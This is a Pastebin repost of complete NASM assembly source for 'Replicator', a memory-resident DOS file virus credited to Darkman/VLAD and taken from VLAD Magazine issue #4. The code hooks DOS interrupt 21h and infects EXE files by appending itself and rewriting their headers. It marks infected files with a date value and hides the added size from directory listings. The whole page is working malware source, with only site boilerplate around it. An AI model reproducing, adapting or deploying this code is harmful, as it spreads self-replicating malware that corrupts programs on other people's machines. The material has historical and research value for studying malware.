Advertisement
FlyFar

VLAD Magazine - Issue #4 - ARTICLE.5_1 - Replicator

Jul 4th, 2023
1,462
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 17.42 KB | Cybersecurity | 0 0
  1. ;                             Darkman/VLAD
  2. ;                           Proudly Presents
  3. ;                         R E P L I C A T O R
  4. ;              - Thanks to Bugsy/OBSESSiON for the help -
  5.  
  6. replicator   segment
  7.              assume  cs:replicator,ds:replicator,es:replicator
  8.              org     00h
  9.  
  10. code:
  11.              call    viruscode
  12. viruscode:
  13.              pop     bp                  ; Load BP from stack
  14.              sub     bp,offset viruscode ; BP = delta offset
  15.  
  16.              push    ds                  ; Save DS at stack
  17.              push    es                  ; Save ES at stack
  18.  
  19.              mov     ax,6304h            ; Replicator service
  20.              int     21h                 ; Do it!
  21.              cmp     ax,bx               ; Already resident?
  22.              je      repexit             ; Equal? Jump to repexit
  23.  
  24.              mov     ax,es
  25.              dec     ax                  ; Decrease AX
  26.              mov     ds,ax               ; DS = segment of programs MCB
  27.  
  28.              cmp     byte ptr ds:[00h],'Z'
  29.              jne     repexit             ; Not last in chain? Jump to repexit
  30.              sub     word ptr ds:[03h],(memoryend-code+0fh)/10h
  31.              sub     word ptr ds:[12h],(memoryend-code+0fh)/10h
  32.              add     ax,ds:[03h]         ; AX = MCB + size of memory block
  33.              inc     ax                  ; AX = first usable MCB segment
  34.  
  35.              cld                         ; Clear direction flag
  36.              push    cs                  ; Save CS at stack
  37.              pop     ds                  ; Load DS from stack (CS)
  38.              mov     es,ax               ; ES = first usable program segment
  39.              mov     cx,(codeend-code)   ; Move 651 bytes
  40.              xor     di,di               ; Clear DI
  41.              lea     si,[bp+code]        ; SI = offset of code
  42.              rep     movsb               ; Move virus to high memory
  43.  
  44.              xor     ax,ax               ; Clear AX
  45.              mov     ds,ax               ; DS = segment of interrupt table
  46.              xchg    ax,ds:[21h*04h]     ; Load and store offset of INT 21h
  47.              mov     es:[int21off],ax    ; Store offset of INT 21h
  48.              mov     ax,1eh              ; AX = segment of hole in memory
  49.              xchg    ax,ds:[21h*04h+02h] ; Load and store segment of INT 21h
  50.              mov     es:[int21seg],ax    ; Store segment of INT 21h
  51.  
  52.              mov     byte ptr ds:[1e0h],0eah
  53.              mov     word ptr ds:[1e1h],offset virusint21
  54.              mov     ds:[1e3h],es        ; Store segment of virusint21
  55. repexit:
  56.              pop     es                  ; Load ES from stack
  57.              pop     ds                  ; Load DS from stack
  58.  
  59.              mov     ax,es
  60.              add     ax,10h              ; Beginning of EXE file
  61.              add     word ptr cs:[bp+csip+02h],ax
  62.  
  63.              cli                         ; Clear interrupt-enable flag
  64.              mov     sp,word ptr cs:[bp+sssp]
  65.              add     ax,word ptr cs:[bp+sssp+02h]
  66.              mov     ss,ax
  67.              sti                         ; Store interrupt-enable flag
  68.  
  69.              xor     ax,ax               ; Clear AX
  70.              mov     bx,ax               ; Clear BX
  71.              mov     cx,ax               ; Clear CX
  72.              mov     dx,ax               ; Clear DX
  73.              mov     di,ax               ; Clear DI
  74.              mov     si,ax               ; Clear SI
  75.              mov     bp,ax               ; Clear BP
  76.              jmp     $+02h               ; Flush prefetch queue
  77.  
  78.              db      0eah                ; Object code of jump far
  79. csip         dd      0fff00000h          ; CS:IP of infected file
  80. sssp         dd      ?                   ; SS:SP of infected file
  81.  
  82. virusint21   proc    near                ; Interrupt 21h of Replicator
  83.              cmp     ax,6304h            ; Replicator service?
  84.              je      repservice          ; Equal? Jump to repservice
  85.              cmp     ah,0eh              ; Select default drive?
  86.              je      setupfind           ; Equal? Jump to setupfind
  87.              cmp     ah,3bh              ; Change directory?
  88.              je      setupfind           ; Equal? Jump to setupfind
  89.              cmp     ah,4eh              ; Find first matching file (DTA)?
  90.              je      dtastealth          ; Equal? Jump to dtastealth
  91.              cmp     ah,4fh              ; Find next matching file (DTA)?
  92.              je      dtastealth          ; Equal? Jump to dtastealth
  93.              cmp     ah,11h              ; Find first matching file (FCB)?
  94.              je      fcbstealth          ; Equal? Jump to fcbstealth
  95.              cmp     ah,12h              ; Find next matching file (FCB)?
  96.              je      fcbstealth          ; Equal? Jump to fcbstealth
  97.              jmp     int21exit
  98. setupfind:
  99.              popf                        ; Load flags from stack
  100.              pushf                       ; Save falgs at stack
  101.  
  102.              call    simint21
  103.  
  104.              push    ax                  ; Save AX at stack
  105.              push    bx                  ; Save BX at stack
  106.              push    cx                  ; Save CX at stack
  107.              push    dx                  ; Save DX at stack
  108.              push    di                  ; Save DI at stack
  109.              push    si                  ; Save SI at stack
  110.              push    ds                  ; Save DS at stack
  111.              push    es                  ; Save ES at stack
  112.              pushf                       ; Save flags at stack
  113.  
  114.              mov     ah,2fh              ; Get disk transfer address
  115.              call    simint21            ; Do it!
  116.              push    bx                  ; Save BX at stack
  117.              push    es                  ; Save ES at stack
  118.  
  119.              mov     ah,1ah              ; Set disk transfer address
  120.              lea     dx,dta              ; DX = offset of dta
  121.              push    cs                  ; Save CS at stack
  122.              pop     ds                  ; Load DS from stack (CS)
  123.              call    simint21            ; Do it!
  124.  
  125.              mov     ah,4eh              ; Find first matching file (DTA)
  126.              mov     cx,27h              ; Set file attribute
  127.              lea     dx,filespec         ; DX = offset of filespec
  128. findnext:
  129.              call    simint21            ; Do it!
  130.              jc      nomorefiles         ; Error? Jump to nomorefiles
  131.  
  132.              cmp     filedate,0022h      ; Allready infected?
  133.              je      dontinfect          ; Equal? Jump to dontinfect
  134.  
  135.              call    infectfile
  136. dontinfect:
  137.              mov     ah,4fh              ; Find next matching file (DTA)
  138.              jmp     findnext
  139. nomorefiles:
  140.              pop     ds                  ; Load DS from stack
  141.              pop     dx                  ; Load DX from stack
  142.              mov     ah,1ah              ; Set disk transfer address
  143.              call    simint21            ; Do it!
  144.  
  145.              popf                        ; Load flags from stack
  146.              pop     es                  ; Load ES from stack
  147.              pop     ds                  ; Load DS from stack
  148.              pop     si                  ; Load SI from stack
  149.              pop     di                  ; Load DI from stack
  150.              pop     dx                  ; Load DX from stack
  151.              pop     cx                  ; Load CX from stack
  152.              pop     bx                  ; Load BX from stack
  153.              pop     ax                  ; Load AX from stack
  154.  
  155.              retf    02h                 ; Return far and pop a word!
  156. int21exit:
  157.              jmp     dword ptr cs:int21off
  158. repservice:
  159.              mov     bx,ax
  160.              iret                        ; Interrupt return!
  161. dtastealth:
  162.              call    simint21
  163.              pushf                       ; Save flags at stack
  164.              jc      stealthexit         ; Error? Jump to stealthexit
  165.  
  166.              push    ax                  ; Save AX at stack
  167.              push    bx                  ; Save BX at stack
  168.              push    es                  ; Save ES at stack
  169.  
  170.              mov     ah,2fh              ; Get disk transfer address
  171.              call    simint21
  172.  
  173.              cmp     word ptr es:[bx+18h],0022h
  174.              jne     dontstealth         ; Not equal? Jump to dontstealth
  175.  
  176.              add     bx,1ah              ; BX = offset of file size
  177.              jmp     stealth
  178. fcbstealth:
  179.              call    simint21
  180.              pushf                       ; Save flags at stack
  181.              or      al,al               ; File name match found?
  182.              jne     stealthexit         ; Not equal? Jump to stealthexit
  183.  
  184.              push    ax                  ; Save AX at stack
  185.              push    bx                  ; Save BX at stack
  186.              push    es                  ; Save ES at stack
  187.  
  188.              mov     ah,2fh              ; Get disk transfer address
  189.              call    simint21
  190.  
  191.              cmp     byte ptr es:[bx],0ffh
  192.              jne     notextended         ; Not equal? Jump to notextended
  193.  
  194.              add     bx,07h              ; SI = offset of normal FCB
  195. notextended:
  196.              cmp     word ptr es:[bx+19h],0022h
  197.              jne     dontstealth         ; Not equal? Jump to dontstealth
  198.  
  199.              add     bx,1dh              ; BX = offset of file size
  200. stealth:
  201.              sub     es:[bx],(codeend-code)
  202.              sbb     word ptr es:[bx],00h
  203. dontstealth:
  204.              pop     es                  ; Load ES from stack
  205.              pop     ax                  ; Load AX from stack
  206.              pop     bx                  ; Load BX from stack
  207. stealthexit:
  208.              popf                        ; Load flags from stack
  209.  
  210.              retf    02h                 ; Return far and pop a word!
  211.              endp
  212.  
  213. infectfile   proc    near                ; Infect a EXE file
  214.              xor     ax,ax               ; Clear AX
  215.              mov     ds,ax               ; DS = segment of interrupt table
  216.              push    ds:[24h*04h]        ; Save INT 24h offset at stack
  217.              push    ds:[24h*04h+02h]    ; Save INT 24h segment at stack
  218.              mov     word ptr ds:[24h*04h],offset virusint24
  219.              mov     ds:[24h*04h+02h],cs ; Intercept interrupt 24h
  220.  
  221.              mov     ax,3d00h            ; Open file (read)
  222.              lea     dx,filename         ; DX = offset of filename
  223.              push    cs                  ; Save CS at stack
  224.              pop     ds                  ; Load DS from stack (CS)
  225.              call    simint21            ; Do it!
  226.  
  227.              xchg    ax,bx               ; Exchange AX with BX
  228.  
  229.              mov     ax,1220h            ; Get system file table number
  230.              int     2fh                 ; Do it! (multiplex)
  231.  
  232.              push    bx                  ; Save BX at stack
  233.              mov     ax,1216h            ; Get address of system FCB
  234.              mov     bl,es:[di]          ; BL = system file table entry
  235.              int     2fh                 ; Do it! (multiplex)
  236.              pop     bx                  ; Load BX from stack
  237.  
  238.              mov     byte ptr es:[di+02h],02h
  239.  
  240.              mov     ah,3fh              ; Read from file
  241.              mov     cx,19h              ; Read 25 bytes
  242.              lea     dx,exeheader        ; DX = offset of exeheader
  243.              mov     si,dx
  244.              call    simint21            ; Do it!
  245.  
  246.              cmp     word ptr [si],'MZ'  ; EXE file?
  247.              je      infect              ; Equal? Jump to infect
  248.              cmp     word ptr [si],'ZM'  ; EXE file?
  249.              je      infect              ; Equal? Jump to infect
  250.              jmp     closefile
  251. infect:
  252.              mov     ax,4202h            ; Move file pointer to the end
  253.              cwd                         ; Clear DX
  254.              mov     cx,dx               ; Clear CX
  255.              call    simint21            ; Do it!
  256.  
  257.              push    bx                  ; Save BX at stack
  258.              mov     bx,ax
  259.              mov     cx,dx
  260.  
  261.              cmp     word ptr [si+02h],00h
  262.              je      dontdecpage         ; Equal? Jump to dontdecpage
  263.  
  264.              dec     word ptr [si+04h]   ; Decrease pages in file
  265. dontdecpage:
  266.              mov     ax,200h
  267.              mul     word ptr [si+04h]   ; Divide by pages
  268.              add     ax,[si+02h]         ; Add bytes on last page
  269.              adc     dx,00h              ; Convert to 32 bit
  270.  
  271.              cmp     ax,bx               ; Internal overlay?
  272.              pop     bx                  ; Load bytes from stack
  273.              jne     closefile           ; Not equal? Jump to closefile
  274.              cmp     cx,dx               ; Internal overlay?
  275.              jne     closefile           ; Not equal? Jump to closefile
  276.  
  277.              cmp     byte ptr [si+18h],40h
  278.              je      closefile           ; Windows file? Jump to closefile
  279.  
  280.              push    ax                  ; Save AX at stack
  281.              push    dx                  ; Save DX at stack
  282.  
  283.              push    si                  ; Save SI at stack
  284.  
  285.              push    cs                  ; Save CS at stack
  286.              pop     es                  ; Load ES from stack (CS)
  287.  
  288.              add     si,0eh              ; SI = offset of SS:SP
  289.              lea     di,sssp             ; DI = offset of sssp
  290.  
  291.              movsw                       ; Store original SP
  292.              movsw                       ; Store original SS
  293.  
  294.              inc     si                  ; SI = offset of CS:IP \
  295.              inc     si                  ; "  "   "    "    "   /
  296.              lea     di,csip             ; DI = offset of csip
  297.  
  298.              movsw                       ; Store original IP
  299.              movsw                       ; Store original CS
  300.  
  301.              pop     si                  ; Load SI from stack
  302.  
  303.              mov     cx,10h
  304.              div     cx                  ; Convert bytes to paragraphs
  305.  
  306.              sub     ax,word ptr [si+08h]
  307.  
  308.              mov     word ptr [si+14h],dx
  309.              mov     word ptr [si+16h],ax
  310.  
  311.              add     ax,(memoryend-code+0fh)/10h
  312.  
  313.              mov     word ptr [si+0eh],ax
  314.  
  315.              pop     dx                  ; Load DX from stack
  316.              pop     ax                  ; Load AX from stack
  317.  
  318.              add     ax,(codeend-code)   ; Add the length of the virus
  319.              adc     dx,00h              ; Convert to 32 bit
  320.  
  321.              mov     cx,200h
  322.              div     cx                  ; Divide by pages
  323.  
  324.              or      dx,dx               ; No bytes on last page?
  325.              je      dontincpage         ; Equal? Jump to dontincpage
  326.  
  327.              inc     ax                  ; Increase AX
  328. dontincpage:
  329.              mov     word ptr [si+04h],ax
  330.              mov     word ptr [si+02h],dx
  331.  
  332.              mov     ah,40h              ; Write to file
  333.              mov     cx,(codeend-code)   ; Write 651 bytes
  334.              cwd                         ; DX = offset of code
  335.              call    simint21            ; Do it!
  336.  
  337.              mov     ax,4200h            ; Move file pointer to the beginning
  338.              cwd                         ; Clear DX
  339.              mov     cx,dx               ; Clear CX
  340.              call    simint21            ; Do it!
  341.  
  342.              mov     ah,40h              ; Write to file
  343.              mov     cx,18h              ; Write 29 bytes
  344.              mov     dx,si               ; DX = offset of exeheader
  345.              call    simint21            ; Do it!
  346.  
  347.              mov     ax,5701h            ; Set file's date and time
  348.              mov     cx,filetime         ; Restore original file time
  349.              mov     dx,0022h            ; Set infection marker
  350.              call    simint21            ; Do it!
  351. closefile:
  352.              mov     ah,3eh              ; Close file
  353.              call    simint21            ; Do it!
  354.  
  355.              xor     ax,ax               ; Clear AX
  356.              mov     es,ax               ; ES = segment of interrupt table
  357.              pop     es:[24h*04h]        ; Save INT 24h offset at stack
  358.              pop     es:[24h*04h+02h]    ; Save INT 24h segment at stack
  359.  
  360.              ret                         ; Return!
  361.              endp
  362.  
  363. virusint24   proc    near                ; Interrupt 24h of Replicator
  364.              mov     al,3                ; Fail system call in progress
  365.              iret                        ; Interrupt return!
  366.              endp
  367.  
  368. simint21     proc    near                ; Simulate interrupt 21h
  369.              pushf                       ; Save flags at stack
  370. callfar      db      9ah                 ; Object code of a far call
  371. int21off     dw      ?                   ; Offset of interrupt 21h
  372. int21seg     dw      ?                   ; Segment of interrupt 21h
  373.              ret                         ; Return!
  374.              endp
  375.  
  376. filespec     db      '*.EXE',00h         ; File specification
  377. virusname    db      '[Replicator] '     ; Name of the virus
  378. virusauthor  db      '[Darkman/VLAD]'    ; Author of the virus
  379. codeend:
  380. exeheader    db      19h dup(?)          ; EXE header
  381. dta:
  382.              db      15h dup(?)          ; Used by DOS for find next-process
  383. fileattr     db      ?                   ; File attribute
  384. filetime     dw      ?                   ; File time
  385. filedate     dw      ?                   ; File date
  386. filesize     dd      ?                   ; File size
  387. filename     db      0dh dup(?)          ; File name
  388. memoryend:
  389.  
  390. replicator   ends
  391. end          code
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement